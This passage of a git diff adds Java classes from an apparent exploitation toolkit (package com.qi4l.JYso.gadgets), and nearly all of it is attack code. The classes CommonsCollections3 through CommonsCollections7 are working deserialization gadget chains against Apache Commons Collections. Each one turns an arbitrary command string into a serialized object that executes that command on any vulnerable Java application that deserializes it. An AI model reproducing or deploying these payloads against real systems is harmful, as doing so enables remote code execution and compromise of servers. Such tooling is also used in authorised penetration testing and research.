||||||
|
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
|
||||||
|
* InvokerTransformer.
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.FROHOFF})
|
||||||
|
public class CommonsCollections3 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public static boolean isApplicableJavaVersion() {
|
||||||
|
return JavaVersion.isAnnInvHUniversalMethodImpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object templatesImpl;
|
||||||
|
templatesImpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
|
||||||
|
// inert chain for setup
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
|
new Transformer[]{new ConstantTransformer(1)});
|
||||||
|
// real chain for after setup
|
||||||
|
final Transformer[] transformers = new Transformer[]{
|
||||||
|
new ConstantTransformer(TrAXFilter.class),
|
||||||
|
new InstantiateTransformer(
|
||||||
|
new Class[]{Templates.class},
|
||||||
|
new Object[]{templatesImpl})};
|
||||||
|
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||||
|
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||||
|
|
||||||
|
return handler;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
|
import org.apache.commons.collections4.Transformer;
|
||||||
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
|
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||||
|
|
||||||
|
import javax.xml.transform.Templates;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
import java.util.Queue;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
|
||||||
|
* InvokerTransformer.
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||||
|
@Authors({Authors.FROHOFF})
|
||||||
|
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
|
public Queue<Object> getObject(String command) throws Exception {
|
||||||
|
final Object templates;
|
||||||
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
ConstantTransformer constant = new ConstantTransformer(String.class);
|
||||||
|
|
||||||
|
// mock method name until armed
|
||||||
|
Class[] paramTypes = new Class[]{String.class};
|
||||||
|
Object[] args = new Object[]{Utils.generateRandomString(4)};
|
||||||
|
InstantiateTransformer instantiate = new InstantiateTransformer(
|
||||||
|
paramTypes, args);
|
||||||
|
|
||||||
|
// grab defensively copied arrays
|
||||||
|
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
|
||||||
|
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
|
||||||
|
|
||||||
|
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
|
||||||
|
|
||||||
|
// create queue with numbers
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
|
||||||
|
queue.add(1);
|
||||||
|
queue.add(1);
|
||||||
|
|
||||||
|
// swap in values to arm
|
||||||
|
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
|
||||||
|
paramTypes[0] = Templates.class;
|
||||||
|
args[0] = templates;
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gadget chain:
|
||||||
|
* ObjectInputStream.readObject()
|
||||||
|
* BadAttributeValueExpException.readObject()
|
||||||
|
* TiedMapEntry.toString()
|
||||||
|
* LazyMap.get()
|
||||||
|
* ChainedTransformer.transform()
|
||||||
|
* ConstantTransformer.transform()
|
||||||
|
* InvokerTransformer.transform()
|
||||||
|
* Method.invoke()
|
||||||
|
* Class.getMethod()
|
||||||
|
* InvokerTransformer.transform()
|
||||||
|
* Method.invoke()
|
||||||
|
* Runtime.getRuntime()
|
||||||
|
* InvokerTransformer.transform()
|
||||||
|
* Method.invoke()
|
||||||
|
* Runtime.exec()
|
||||||
|
* <p>
|
||||||
|
* Requires:
|
||||||
|
* commons-collections
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unused"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
|
||||||
|
public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
|
||||||
|
|
||||||
|
public static boolean isApplicableJavaVersion() {
|
||||||
|
return JavaVersion.isBadAttrValExcReadObj();
|
||||||
|
}
|
||||||
|
|
||||||
|
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
// inert chain for setup
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
|
new Transformer[]{new ConstantTransformer(1)});
|
||||||
|
// real chain for after setup
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||||
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
|
Reflections.setFieldValue(val, "val", entry);
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||||
|
|
||||||
|
return val;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gadget chain:
|
||||||
|
* java.io.ObjectInputStream.readObject()
|
||||||
|
* java.util.HashSet.readObject()
|
||||||
|
* java.util.HashMap.put()
|
||||||
|
* java.util.HashMap.hash()
|
||||||
|
* org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
|
||||||
|
* org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
|
||||||
|
* org.apache.commons.collections.map.LazyMap.get()
|
||||||
|
* org.apache.commons.collections.functors.ChainedTransformer.transform()
|
||||||
|
* org.apache.commons.collections.functors.InvokerTransformer.transform()
|
||||||
|
* java.lang.reflect.Method.invoke()
|
||||||
|
* java.lang.Runtime.exec()
|
||||||
|
* <p>
|
||||||
|
* by @matthias_kaiser
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.MATTHIASKAISER})
|
||||||
|
public class CommonsCollections6 implements ObjectPayload<Serializable> {
|
||||||
|
public Serializable getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
|
||||||
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
|
|
||||||
|
final Map innerMap = new HashMap();
|
||||||
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||||
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||||
|
HashSet map = new HashSet(1);
|
||||||
|
map.add("QI4L");
|
||||||
|
Field f = null;
|
||||||
|
try {
|
||||||
|
f = HashSet.class.getDeclaredField("map");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f = HashSet.class.getDeclaredField("backingMap");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f);
|
||||||
|
HashMap innimpl = (HashMap) f.get(map);
|
||||||
|
|
||||||
|
Field f2 = null;
|
||||||
|
try {
|
||||||
|
f2 = HashMap.class.getDeclaredField("table");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f2 = HashMap.class.getDeclaredField("elementData");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f2);
|
||||||
|
Object[] array = (Object[]) f2.get(innimpl);
|
||||||
|
|
||||||
|
Object node = array[0];
|
||||||
|
if (node == null) {
|
||||||
|
node = array[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
Field keyField = null;
|
||||||
|
try {
|
||||||
|
keyField = node.getClass().getDeclaredField("key");
|
||||||
|
} catch (Exception e) {
|
||||||
|
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(keyField);
|
||||||
|
keyField.set(node, entry);
|
||||||
|
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
|
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
|
||||||
|
|
||||||
|
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
|
||||||
|
|
||||||
|
public Hashtable getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||||
|
|
||||||
|
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||||
|
|
||||||
|
Map innerMap1 = new HashMap();
|
||||||
|
Map innerMap2 = new HashMap();
|
||||||
|
|
||||||
|
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
|
||||||
|
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
|
||||||
|
lazyMap1.put("yy", 1);
|
||||||
|
|
||||||
|
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
|
||||||
|
lazyMap2.put("zZ", 1);
|
||||||
|
|
||||||
|
// Use the colliding Maps as keys in Hashtable
|
||||||
|
Hashtable hashtable = new Hashtable();
|
||||||
|
hashtable.put(lazyMap1, 1);
|
||||||
|
hashtable.put(lazyMap2, 2);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||||
|
|
||||||
|
// Needed to ensure hash collision after previous manipulations
|
||||||
|
lazyMap2.remove("yy");
|
||||||
|
|
||||||
|
return hashtable;
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user